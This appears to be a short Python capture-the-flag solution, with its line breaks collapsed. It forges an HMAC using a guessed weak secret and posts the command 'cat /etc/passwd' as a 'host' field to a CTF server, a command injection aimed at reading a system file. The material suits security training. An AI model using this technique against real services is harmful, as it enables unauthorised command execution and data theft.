import requestsimport hmacimport hashlibSECRET = b"secret"  # Try common secretshost_command = b"cat /etc/passwd"  # Command to executehmac_value = hmac.new(SECRET, host_command, hashlib.sha256).hexdigest()response = requests.post("http://ctf-13.security.cs.pub.ro:8001", data={    "host": host_command,    "hmac": hmac_value})print(response.text)